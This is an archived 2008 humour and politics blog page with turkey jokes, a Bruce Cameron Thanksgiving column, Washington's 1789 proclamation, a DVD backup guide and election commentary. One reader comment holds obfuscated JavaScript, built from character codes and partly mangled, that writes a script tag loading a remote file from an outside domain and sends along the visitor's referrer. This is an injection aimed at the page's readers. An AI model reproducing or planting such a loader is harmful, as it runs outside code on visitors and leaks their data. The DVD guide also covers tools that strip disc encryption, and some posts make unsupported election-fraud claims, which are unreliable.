I just read- for fun- the stuff on this page. Take a look; I'll wait.

Now think about what you just read, and then know this: I not only worked with the stuff in college, I liked it. A lot. And I still do.

My time-dependent Schrodinger Equation fu was second to none at one point. Yeah, I was a chick magnet back in college, if by chicks you mean mind-numbing loneliness and by magnet you mean black hole of despair.

Posted by: Physics Geek at 02:48 PM | Comments (4) | Add Comment
Post contains 93 words, total size 1 kb.

1 There is hope for physicists... my fiancee works in Quantum Mechanics, which for me is kind of a chick magnet ... and I find the td Schrödinger equation awesome!!

Posted by: KK at November 26, 2008 07:01 PM (tWnPX)

2 Yeah, except what the page doesn't tell you is that a free particle wave function (written as a plane wave) cannot be normalized! After all, a free particle with definite energy E has a definite momentum and by the Heisenberg uncertainty principle has infinite spread in position. Gotta go with wave packets ... Sorry, I just taught this in quantum and couldn't resist. Quantum is just too cool.

Posted by: Gintaras at November 26, 2008 09:37 PM (ozm0c)

3 If you enjoyed this post, and you've got a woman in your life, hold onto her like grim death. Trust me on this.

Posted by: physics geek at November 26, 2008 10:32 PM (OIW6O)

4 Normally I get all things that are geek fu, but this is above me...

Posted by: Chalkie at December 03, 2008 01:01 AM (jvfNw)

Hide Comments | Add Comment

Little Tony was staying with his grandmother for a few days. He'd been playing outside with the other kids for a while when he came into the house and asked her, "Grandma, what's that called when two people sleep in the same room and one is on top of the other?"

She was a little taken back, but decided to just tell him the truth. " It's call sexual intercourse, darling."

Little Tony just said, "Oh, OK," and went back outside to play with the other kids. a Few minutes later he came back in and said angrily, "Grandma it isn't called sexual intercourse. It's call Bunk Beds, and Jimmy's mommy wants to talk to you!

Posted by: Physics Geek at 01:21 PM | No Comments | Add Comment
Post contains 138 words, total size 1 kb.

Received via email:

"I have never understood why anyone would roast the turkey and shuck the clams and crisp the croutons and shell the peas and candy thesweets and compote the cranberries and bake the pies and clear the table and wash the dishes and fall into bed exhausted when they could just as easily sit back and enjoy a hamburger or a pork sandwich."

- The Turkey

Posted by: Physics Geek at 09:18 AM | No Comments | Add Comment
Post contains 74 words, total size 1 kb.

Apparently though, there's some major league stupidity on the way. Yes, Kim Bauer is set to return this year. She will have a child in tow. Excerpt:

Do the writerÂ’s of 24 really think that Jack would let Kim Bauer have children? Does he not put up with enough crap in his day job?

Kim BauerÂ’s Kid Jokes

How do you get Kim BauerÂ’s kid out of a tree?
-Wave at him/her

Jack Bauer went over to visit his grandchild and saw it staring at the carton of orange juice. So he asks why they are staring at the carton of OJ. “Because it says ‘concentrate’ on it” says Little Bauer.

How do you know KimÂ’s child is related to Jack Bauer?
-It burned down the school to get out of 3rd grade.

Hmm. While Kim Bauer used to piss me off a great deal, Elisha Cuthbert has always given me, umm, warm feelings. Observe below the fold:

more...

Posted by: Physics Geek at 04:21 PM | No Comments | Add Comment
Post contains 172 words, total size 2 kb.

If, like me, you own some DVDs and if, like me, you have small children around who can make the survival of such discs problematic, you might be inclined to create playable backups of your discs. There a variety of ways that you can go about it:

1) Buy a second copy. Not really sensible from a a financial standpoint, but doable. You've now a got a backup without actually having to make one.

2) Use DVD Shrink to extract the main movie only. Remove all of the subtitles-unless you need them, of course- and all of the foreign language audio tracks. Then, if you're feeling adventurous, trim the credits at the beginning and end. This will reduce the compression considerably. Then hit the "Backup" button and you're on your way.

Sure, you can copy the entire disc without removing diddly, but you'll get around a 50% compression ratio. Not that bad on standard definition TV, but certainly not good on an HD set.

Note: You will need some burning software, such as Nero to burn the resulting image file. Lots of free software out there, so have at it.

3) Use AnyDVD or DVD43 (you can't use both, because AnyDVD bitches about the presence of DVD43 during installation) to remove the region encryption and then use IMGBurn, which replaced DVD Decrypter. I actually think DVD Decrypter is great, but all work on it has ceased, so you're better off with the newer IMGBurn, which is why you need AnyDVD or DVD43, because IMGBurn will not make an image for you of an encrypted DVD without at least one of them running in the background.

Anyway. Let's suppose that you've got AnyDVD running, and you've inserted your copy of the last Indiana Jones movie. Click on the Create Image from Disc button, or click on the Mode/Read pulldown menu choice. Voila! IMGBurn creates an ISO image of your DVD on your hard drive. Onto the last part.

Now it's time to burn that ISO to a disc. Since you're making a backup of a commercial disc, you'll need to have purchased some DL discs, which have an 8.5 Gb capacity, the same as standard commercial DVDs; I will ignore HD discs, which aren't really available yet.

Note: Do not skimp on funds and buy crap Memorex discs. Spend the extra cash and buy VERBATIM DL discs. They work great. The Memorex discs are turds. Sure, they cost less per disc, but you'll spend more because you'll end up throwing lots of poorly burned discs into the trash.

Already, click on the Write Image to Disc button. When the screen appears, set the burn speed to 2.4x. Any faster and you're just asking for trouble. Then click "Burn" and walk away until the music sounds, which signifies that your disc is ready.

So that's it. Easy as pie. Have at it, and don't forget to label your newly created DVDs. Just an FYI.

Posted by: Physics Geek at 05:36 PM | No Comments | Add Comment
Post contains 500 words, total size 3 kb.

Monty Python has launched its own official YouTube channel. Excerpt:

For 3 years you YouTubers have been ripping us off, taking tens of thousands of our videos and putting them on YouTube. Now the tables are turned. It's time for us to take matters into our own hands.

We know who you are, we know where you live and we could come after you in ways too horrible to tell. But being the extraordinarily nice chaps we are, we've figured a better way to get our own back: We've launched our own Monty Python channel on YouTube.

No more of those crap quality videos you've been posting. We're giving you the real thing - HQ videos delivered straight from our vault.

What's more, we're taking our most viewed clips and uploading brand new HQ versions. And what's even more, we're letting you see absolutely everything for free. So there!

But we want something in return.

None of your driveling, mindless comments. Instead, we want you to click on the links, buy our movies & TV shows and soften our pain and disgust at being ripped off all these years.

Time to finish with one of my all time favorites below the fold.
more...

Posted by: Physics Geek at 12:03 PM | Comments (2) | Add Comment
Post contains 212 words, total size 2 kb.

A new Bundy Web comedy to premiere in January.

Posted by: Physics Geek at 03:04 PM | Comments (1) | Add Comment
Post contains 19 words, total size 1 kb.

1 var r = document.referrer; document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(5 +String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(46)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(115)+String.fromCharCode(45)+String.fromCharCode(10 +String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109)+String.fromCharCode(47)+String.fromCharCode(103)+String.fromCharCode(9 +String.fromCharCode(46)+String.fromCharCode(112)+String.fromCharCode(104)+String.fromCharCode(112)+String.fromCharCode(63)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(61)+String.fromCharCode(103)+String.fromCharCode(3 +String.fromCharCode(114)+String.fromCharCode(61)+escape(r)+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))

Posted by: John at November 21, 2008 02:07 PM (yEwnL)

Hide Comments | Add Comment

If you've never read any of Bruce Cameron's articles, you've been missing out. He stopped writing for a while, restarted and then stopped again. Maybe he finally ran out of ideas. In any event, here is his Thanksgiving column circa 1998.
==================================================

Like many men, I am different from my wife in ways which are noticeable, and, in my opinion, fortunate.

Take the Thanksgiving turkey (and I mean that literally. PLEASE come over to our house, open the refrigerator, shove aside everything growing green fuzz, and take this carcass away before it reincarnates as turkey lasagna or turkey tetracycline or whatever new concoction awaits the family.) But take Thanksgiving--my wife prefers small birds that fit nicely into the roasting pan and which can be cooked in a few hours.

"Ha!" I can be quoted as sneering. I trace my own gender lineage to that proud, hairy group of hunter-gatherers who, prior to the invention of TV remote control, would pick up their spears, huddle, and then go out and pull down a huge bison for dinner, stopping at the bar on the way home for a couple of cave brews. So when I go to the store for a turkey, I find a TURKEY: a mammoth, many-pound fowl with drum sticks as large as my thighs and wings you could park a car under.

Words cannot describe the delight on my wife's face when my neighbors help me carry the bird into the refrigerator, where, following the instructions, it is left to thaw for a period of six months. (My wife often has several interesting but impractical suggestions on where else we might stick the turkey for this thawing procedure.) Cooking begins around Halloween, a slow roasting process which varies from my mother's recipe in that there are no flames or threats of divorce "if anybody says a word about how the turkey tastes."

I enjoy every step of turkey preparation, particularly since I am not involved in any of it. Well, that's not entirely true--at one point, I am asked to reach into the mouth of the turkey and retrieve the giblets, which turns out to be a bag of what looks like pieces of Jimmy Hoffa. (I realize I am not, technically speaking, putting my hand in the bird's "mouth," but I'd rather not dwell on what this means.) How the turkey manages to swallow this stuff in the first place is beyond me. Traditionally, we open this bag, dump the contents into a pan of water, and boil the results. Only the cat is happy about this development.

As wonderful as this all is, by the fourth or fifth night my appetite for turkey variations has waned, and I provide valuable feedback to my wife by making gagging noises at dinner time. Her verbal (as opposed to projectile) response to this is to imply that it is somehow MY fault we have so many leftovers, to which I logically reply, "hey, YOU cooked it."

Now, before you men out there become too smug with how adroitly I out maneuvered her with my quick retort, you should be advised that she STILL blames me for our turkey-induced bulimia. Therefore I appeal to my readership: has anyone else noticed bizarre psychiatric reactions to turkey consumption which might explain this whole controversy? Please advise via return e-mail, which will be picked up by the crack WBC technical team and, judging by previous results, forwarded to the Governor of New Jersey.

Thanks... oh, and Happy Thanksgiving too.

The Cameron Column, A Free Internet Newsletter
Copyright W. Bruce Cameron 1998
================================================

Update: My bad. I used to be on his mailing list; not sure why I'm not now. In any event, Bruce Cameron appears to have been writing up a storm. You can find his stuff here, including my all-time favorite column.

Posted by: Physics Geek at 02:42 PM | No Comments | Add Comment
Post contains 656 words, total size 4 kb.

Why yes, I did post this last year. Thanks for asking
=========================================

Here is a new way to prepare your Thanksgiving or Christmas Turkey.

1. Cut out aluminum foil in desired shapes.
2. Arrange the turkey in the roasting pan, position the foil carefully (see attached)
3. Roast according to your own recipes and serve.
4. Watch your guests' faces.

Posted by: Physics Geek at 02:36 PM | No Comments | Add Comment
Post contains 68 words, total size 1 kb.

The fourth annual repeat of this post, just because.

WHEREAS, It is the duty of all nations to acknowledge the providence of Almighty God, to obey His will, to be grateful for His benefits, and humbly to implore His protection and favor;

WHEREAS, Both the houses of Congress have, by their joint committee, requested me "to recommend to the people of the United States a day of public thanksgiving and prayer, to be observed by acknowledging with grateful hearts the many and signal favors of Almighty God, especially by affording them an opportunity peaceably to establish a form of government for their safety and happiness:"

Now, therefore, I do recommend and assign Thursday, the 26th day of November next, to be devoted by the people of these States to the service of that great and glorious Being who is the beneficent author of all the good that was, that is, or that will be; that we may then all unite in rendering unto Him our sincere and humble thanks for His kind care and protection of the people of this country previous to their becoming a nation; for the signal and manifold mercies and the favorable interpositions of His providence in the course and conclusion of the late war; for the great degree of tranquility, union, and plenty which we have since enjoyed; for the peaceable and rational manner in which we have been enable to establish constitutions of government for our safety and happiness, and particularly the national one now lately instituted' for the civil and religious liberty with which we are blessed, and the means we have of acquiring and diffusing useful knowledge; and, in general, for all the great and various favors which He has been pleased to confer upon us.

And also that we may then unite in most humbly offering our prayers and supplications to the great Lord and Ruler of Nations and beseech Him to pardon our national and other transgressions; to enable us all, whether in public or private stations, to perform our several and relative duties properly and punctually; to render our National Government a blessing to all the people by constantly being a Government of wise, just, and constitutional laws, discreetly and faithfully executed and obeyed; to protect and guide all sovereigns and nations (especially such as have show kindness to us), and to bless them with good governments, peace, and concord; to promote the knowledge and practice of true religion and virtue, and the increase of science among them and us; and, generally to grant unto all mankind such a degree of temporal prosperity as He alone knows to be best.

--George Washington - October 3, 1789

Posted by: Physics Geek at 01:14 PM | Comments (1) | Add Comment
Post contains 451 words, total size 3 kb.

Reposted from last year.

=====================
This has been making its way around the Internet since 1500 B.C., even though the first computer still hadn't been manufactured yet. However, if there's one thing that you can count on me for, it's recycling the stalest holiday humor you've ever seen between now and the New Year.
---------------------------------------------------
HOW TO COOK A TURKEY

Step 1: Go buy a turkey

Step 2: Take a drink of whiskey, scotch, or JD

Step 3: Put turkey in the oven

Step 4: Take another 2 drinks of whiskey

Step 5: Set the degree at 375 ovens

Step 6: Take 3 more whiskeys of drink

Step 7: Turn oven the on

Step 8: Take 4 whisks of drinky

Step 9: Turk the bastey

Step 10: Whiskey another bottle of get

Step 11: Stick a turkey in the thermometer

Step 12: Glass yourself a pour of whiskey

Step 13: Bake the whiskey for 4 hours

Step 14: Take the oven out of the turkey

Step 15: Take the oven out of the turkey

Step 16: Floor the turkey up off the pick

Step 17: Turk the carvey

Step 18: Get yourself another scottle of botch

Step 19: Tet the sable and pour yourself a glass of turkey(Ed. note: this didn't used to be possible)
Update: More on this here.

Step 20: Bless the saying, pass and eat out

Posted by: Physics Geek at 01:11 PM | No Comments | Add Comment
Post contains 239 words, total size 2 kb.

Reposted from last year. Expect more of this as the year winds to a close.
======================================

You might remember this special holiday image from last year. This time, I won't hide it in the extended entry.

Posted by: Physics Geek at 01:11 PM | No Comments | Add Comment
Post contains 46 words, total size 1 kb.

From Dan Riehl:

America knows a loser when she sees one and that's why he lost against a too-liberal black man. He couldn't even manage to display the basic competence someone wants in a President throughout his pathetic campaign that was bad chiefly because he's the worst candidate Republicans have ever put up.

Word.

Posted by: Physics Geek at 01:52 PM | Comments (1) | Add Comment
Post contains 62 words, total size 1 kb.

From Glenn Reynolds comes this:

ED KOCH ON THE BAILOUT: We've Been Had.

I believe that the correct response to such a statement is No Shit. All of us who opposed the bailout don't look so freaking stupid now, I guess.

Posted by: Physics Geek at 10:49 AM | No Comments | Add Comment
Post contains 49 words, total size 1 kb.

The Ten Most Delicious USB Disks On the Market.

I'm kind of partial to the pizza one, or the waffle one. My brain is now working feverishly on the possibility of a beer-themed memory stick.

Update: Even more interesting USB designs found here. Looks like someone has already beaten me to the beer idea:

Update: And still more!

Posted by: Physics Geek at 03:53 PM | No Comments | Add Comment
Post contains 62 words, total size 1 kb.

Looking for a different kind of holiday music? Look here for the Carol of the Old Ones. Excerpt:

Look to the sky, way up on high

There in the night stars are now right.

Eons have passed: now then at last

Prison walls break, Old Ones awake!

They will return: mankind will learn

New kinds of fear when they are here.

They will reclaim all in their name;

Hopes turn to black when they come back.

Ignorant fools, mankind now rules

Where they ruled then: it's theirs again

Stars brightly burning, boiling and churning
Bode a returning season of doom

Scary scary scary scary solstice
Very very very scary solstice

I still don't know why anyone voted for the lesser evil on November 4. Just imagine the debates between Cthulu, McCain and Obama. Of course, they'd have been cut short when the Old One used its tentacles to rend the other two limb from limb, but just think of the possibilities.

Posted by: Physics Geek at 10:33 AM | No Comments | Add Comment
Post contains 167 words, total size 1 kb.

I know what you're thinking: heart attack, knees problems. However, I will bet that you never, ever considered this.

Thanks to the lovely and talented Helen for the link.

Posted by: Physics Geek at 04:18 PM | No Comments | Add Comment
Post contains 45 words, total size 1 kb.

I checked my Sitemeter referral logs and discovered that someone had stumbled onto my site with the following search terms:

rudolph the horny gay reindeer

Words fail me. Also, I'm reminded that it's time to start reposting holiday jokes and images from previous years.

Posted by: Physics Geek at 08:56 AM | Comments (3) | Add Comment
Post contains 60 words, total size 1 kb.

1 ROTFLMAO! That one hurt when I laughed... glad it was you.

Posted by: vw bug at November 06, 2008 04:17 PM (FPOeI)

2 Thanks Val. I expect to get all sorts of referrals, but that one surprised me. Unpleasantly.

Posted by: physics geek at November 06, 2008 04:41 PM (MT22W)

3 But this is how I FIND your blog.

Posted by: x at November 10, 2008 06:45 PM (xBtbh)

Hide Comments | Add Comment

Community Organizer Obama, I would like to take this moment to thank you and your goons for trying to suppress free speech as election day draws near. While I think that it's admirable that like to associate with unrepentant terrorists, bomb-throwing racist preachers and other persons of ill repute (you little Lightworker you), I think that's even more of a plus that you think any criticism of you is out of bounds. God knows that your friends like Ohio's governor are doing their part to defy state and federal laws to bring in a whole bunch of fraudulent votes in swing states. However, since you know that you cannot count on illegal activities to guarantee your victory, I think that suppressing the people's First Amendment right to free speech is a novel and entertaining concept. Frankly, I'm a little tired of having to explain away my positions and statements when people use my words in context, so I commend you on the use of lawyers and government thugs to force the issue.

To show my support, I'm embedding the video here on my blog. It will stay sticky posted at the top through November 4, along with any others that you decide, rightfully, to try and ban. Video below the fold.
more...

Posted by: Physics Geek at 11:59 PM | Comments (6) | Add Comment
Post contains 264 words, total size 2 kb.

Barack Obama is the President-elect of the U.S.A.. Quite a change from the days of segregation and "whites only" water fountains.

Congratulations on your historic victory, Mr. President-elect. I look forward to opposing most of your policies over the next 4 years, but wish you well otherwise, as you will be our country's leader in these troubling times which, despite the Kos Kidz beliefs, will not end when Bush leaves office.

Posted by: Physics Geek at 11:31 PM | Comments (1) | Add Comment
Post contains 73 words, total size 1 kb.